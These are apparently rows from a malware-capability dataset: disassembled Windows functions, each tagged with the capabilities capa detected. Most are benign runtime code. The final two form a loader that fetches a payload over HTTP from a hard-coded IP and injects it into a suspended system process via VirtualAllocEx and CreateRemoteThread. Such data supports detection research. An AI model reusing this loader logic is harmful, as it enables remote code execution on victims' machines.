joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001520
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rbx, rcx
mov qword [rsp + 0x30], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 0xf
mov byte [rcx], bpl
mov dword [rsp + 0x20], 1
mov r14d, 0xfffffffa
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x14000157f
mov rcx, qword [rdx]
mov r8, rcx
jmp 0x140001582
mov r8, rdx
mov r15, rcx
mov rax, qword [rdx + 0x10]
add rax, r8
mov qword [rsp + 0x28], rax
cmp rcx, rax
je 0x1400016a0
lea r13, [0x140015b28]
shl ebp, 8
movzx eax, byte [r15]
add ebp, eax
add r14d, 8
js 0x140001632
movsxd r12, ebp
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov esi, edx
imul eax, edx, 0xfffffffa
add r14d, eax
mov rdx, r13
cmp qword [0x140015b40], 0xf
cmova rdx, qword [0x140015b28]
mov rax, r12
mov rcx, rdi
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + rdx]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140001620
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x140001615
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140001628
mov rcx, rbx
call fcn.14000c030
sub rdi, 6
sub rsi, 1
jne 0x1400015d0
mov ecx, r14d
inc r15
cmp r15, qword [rsp + 0x28]
jne 0x1400015a1
cmp ecx, 0xfffffffa
jle 0x1400016a0
cmp qword [0x140015b40], 0xf
cmova r13, qword [0x140015b28]
add cl, 8
shl ebp, 8
movsxd rax, ebp
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + r13]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140001698
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x14000168d
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400016a0
mov rcx, rbx
call fcn.14000c030
mov rcx, qword [rbx + 0x10]
test cl, 3
je 0x1400016e9
nop dword [rax]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x1400016d5
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x1400016cd
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x1400016e0
mov r9b, 0x3d
mov rcx, rbx
call fcn.14000c030
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x1400016b0
mov rax, rbx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400024d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, 0x13c8
call fcn.14000d5d0
sub rsp, rax
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rsp + 0x13b0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x13a4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x24], eax
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, 0x270
jb 0x140002510
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x270
call fcn.14000cb60
mov ecx, eax
imul rax, rcx, 0xff
test eax, eax
jne 0x140002568
nop
lea rcx, [rsp + 0x20]
call fcn.14000cb60
mov ecx, eax
imul rax, rcx, 0xff
cmp eax, 1
jb 0x140002550
shr rax, 0x20
inc al
mov rcx, qword [rsp + 0x13b0]
xor rcx, rsp
call fcn.14000ce30
add rsp, 0x13c8
ret
Function at 0x140003770
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov rbx, rcx
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x50]
call fcn.1400033f0
mov rdi, rax
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.14000b1e0
xor ecx, ecx
cmp qword [rdi + 0x10], rcx
jbe 0x1400037c2
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rax, qword [rsp + 0x20]
xor byte [rax + rcx], 0x48
inc rcx
cmp rcx, qword [rdi + 0x10]
jb 0x1400037a4
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000b1e0
xor eax, eax
cmp qword [rsp + 0x30], rax
jbe 0x1400037fb
nop dword [rax + rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400037ed
mov rcx, qword [rbx]
xor byte [rcx + rax], 0x48
inc rax
cmp rax, qword [rsp + 0x30]
jb 0x1400037e0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14000383b
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003836
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003836
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003892
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000388d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000388d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov rax, rbx
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x140005630
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rbp + 0x37], rax
movzx edi, word [0x14000faba]
mov r15d, 5
movzx r9d, word [0x14000fabc]
mov rsi, rcx
movzx ecx, word [0x14000fabe]
mov ebx, 0x71
movzx eax, word [str.runas]
xor cx, r15w
xor cx, r15w
mov word [rbp - 0x79], r15w
mov edx, 0x2b
mov word [rbp - 0x69], cx
xor dx, r15w
lea rcx, [rbp + 0x17]
movzx r8d, r15w
mov word [rbp - 0x77], dx
xor r8w, r15w
xor bx, r15w
mov r10d, 0x67
mov word [rbp - 0x71], bx
mov r11d, 0x64
mov word [rbp - 0x6f], r8w
xor r9w, r15w
lea r8, [rbp - 0x77]
xor ax, r15w
xor r10w, r15w
xor r11w, r15w
mov word [rbp - 0x75], r10w
xor r9w, r15w
mov word [rbp - 0x73], r11w
xor ax, r15w
mov word [rbp - 0x6b], r9w
xor di, r15w
mov word [rbp - 0x67], ax
xor di, r15w
xor ebx, ebx
mov rdx, rsi
mov word [rbp - 0x6d], di
mov word [rbp - 0x65], bx
call fcn.14000bbf0
xor eax, eax
mov dword [rbp - 0x59], 0x70
cmp qword [rbp + 0x2f], 7
lea rcx, [rbp - 0x59]
xorps xmm0, xmm0
mov qword [rbp + 0xb], rax
mov dword [rbp + 0x13], eax
lea rax, str.runas
movups xmmword [rbp - 0x55], xmm0
mov dword [rbp - 0x55], 0x100
movups xmmword [rbp - 0x45], xmm0
mov qword [rbp - 0x49], rax
lea rax, [rbp + 0x17]
cmova rax, qword [rbp + 0x17]
movups xmmword [rbp - 0x35], xmm0
mov qword [rbp - 0x41], rax
movups xmmword [rbp - 0x25], xmm0
mov dword [rbp - 0x29], ebx
movups xmmword [rbp - 0x15], xmm0
movups xmmword [rbp - 5], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rdx, qword [rbp + 0x2f]
cmp rdx, 7
jbe 0x1400057b4
mov rcx, qword [rbp + 0x17]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057af
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ce50
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14000ce30
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000a780
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x14000a7b1
xor eax, eax
jmp 0x14000a8fb
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x14000a7ee
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x14000a7ee
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x14000a8fb
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x14000a8f0
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000a835
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000a843
movzx ecx, di
jmp 0x14000a897
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000a8b0
sub eax, 1
je 0x14000a8b0
cmp eax, 2
jne 0x14000a8f0
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x14000a8f3
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x14000a8de
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x14000a8f0
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000ce30
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000b500
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000b5d5
cmp byte [rcx + 0x72], 0
je 0x14000b5d5
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
je 0x14000b5d1
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000b596
sub eax, 1
je 0x14000b59a
cmp eax, 2
jne 0x14000b5d1
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000ce30
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000b5c8
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000b5d1
cmp byte [rbx + 0x72], 0
sete al
jmp 0x14000b57e
xor al, al
jmp 0x14000b57e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000ce30
add rsp, 0x60
pop rbx
ret
Function at 0x14000cb60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14000cbc1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14000cb80
mov ecx, dword [r9]
jmp 0x14000ccab
cmp ecx, 0x4e0
jb 0x14000ccab
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14000cbe0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14000cc30
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14000dae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000db2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000db2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000db2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000db2a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000db2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000db2c
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4dc790
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dd192
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc501108]
test eax, eax
je 0x2fc4dd22a
lea rax, [0x2fc5010e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc501110]
mov qword [rbp - 8], rax
jmp 0x2fc4dd20e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dd202
cmp qword [rbp - 0x10], 0
je 0x2fc4dd202
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dd1c8
lea rax, [0x2fc5010e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dd22b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dd330
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dd358
mov eax, 0
jmp 0x2fc4dd3a6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dd381
mov eax, 0
jmp 0x2fc4dd3a6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dd3a1
mov eax, 0
jmp 0x2fc4dd3a6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dd3ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dd42a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dd421
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dd421
mov rax, qword [rbp - 8]
jmp 0x2fc4dd43f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dd3f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x66cc1e1f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push rbp
sub rsp, 0x9f0
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x7c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x66cc1e55
mov eax, 0
jmp 0x66cc1fec
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x968], rax
mov word [rbp + 0x7b0], 2
mov ecx, 0x50
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x7b2], ax
lea rcx, str.124.220.16.43
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x7b4], eax
lea rax, [rbp + 0x7b0]
mov rcx, qword [rbp + 0x968]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x66cc1ed7
mov eax, 0
jmp 0x66cc1fec
lea rax, str.GET__1.txt_HTTP_1.1_r_nHost:_124.220.16.43:80_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:124.0__Gecko_20100101_Firefox_124.0_r_n_Accept:_text___html__application___xhtml__xml__application___xml__q__0.9__image___avif__image___webp____q0.8_r_nAccept_Language:_zh_CN_zh_q0.8_zh_TW_q0.7_zh_HK_q0.5_en_US_q0.3_en_q0.2_r_nAccept_Encoding:_gzip__deflate_r_nConnection:_keep_alive_r_nUpgrade_Insecure_Requests:_1_r_n_r_n
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x960]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
mov rdx, qword [rbp + 0x960]
mov rax, qword [rbp + 0x968]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp + 0x3a0]
mov edx, 0x401
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp - 0x60]
mov edx, 0x400
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
jmp 0x66cc1f92
lea rax, [rbp + 0x3a0]
mov rdx, qword [rbp + 0x958]
add rax, rdx
mov byte [rax], 0
lea rdx, [rbp + 0x3a0]
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
lea rcx, [0x66cc51b6]
call sub.msvcrt.dll_printf
lea rax, [rbp + 0x3a0]
mov rcx, qword [rbp + 0x968]
mov r9d, 0
mov r8d, 0x400
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x958], rax
cmp qword [rbp + 0x958], 0
jne 0x66cc1f50
mov rax, qword [rbp + 0x968]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x9f0
pop rbp
ret
Function at 0x66cc1ff5
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x330
lea rbp, [rsp + 0x80]
call fcn.66cc1e1f
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x2a4], eax
mov eax, dword [rbp + 0x2a4]
cdqe
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_calloc
mov qword [rbp + 0x298], rax
lea rcx, [rbp + 0x274]
mov r8, qword [rbp + 0x298]
mov edx, dword [rbp + 0x2a4]
mov rax, qword [rbp + 0x2a8]
mov r9, rcx
mov rcx, rax
call fcn.66cc1d75
lea rax, [rbp + 0x60]
mov edx, 0x208
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x294], 0
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x288], rax
lea rax, [rbp + 0x60]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
call rax
lea rax, [rbp + 0x60]
lea rdx, [0x66cc51ba]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatW]
call rax
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessW]
call rax
test eax, eax
jne 0x66cc215e
mov eax, dword [rbp + 0x294]
jmp 0x66cc222d
mov eax, dword [rbp + 0x2a4]
add eax, 1
movsxd rdx, eax
mov rax, qword [rbp - 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x280], rax
cmp qword [rbp + 0x280], 0
jne 0x66cc21ac
mov eax, dword [rbp + 0x294]
jmp 0x66cc222d
mov eax, dword [rbp + 0x2a4]
add eax, 1
movsxd rcx, eax
mov rax, qword [rbp - 0x30]
mov r8, qword [rbp + 0x288]
mov rdx, qword [rbp + 0x280]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x280]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x278], rax
mov eax, 0
add rsp, 0x330
pop rbp
ret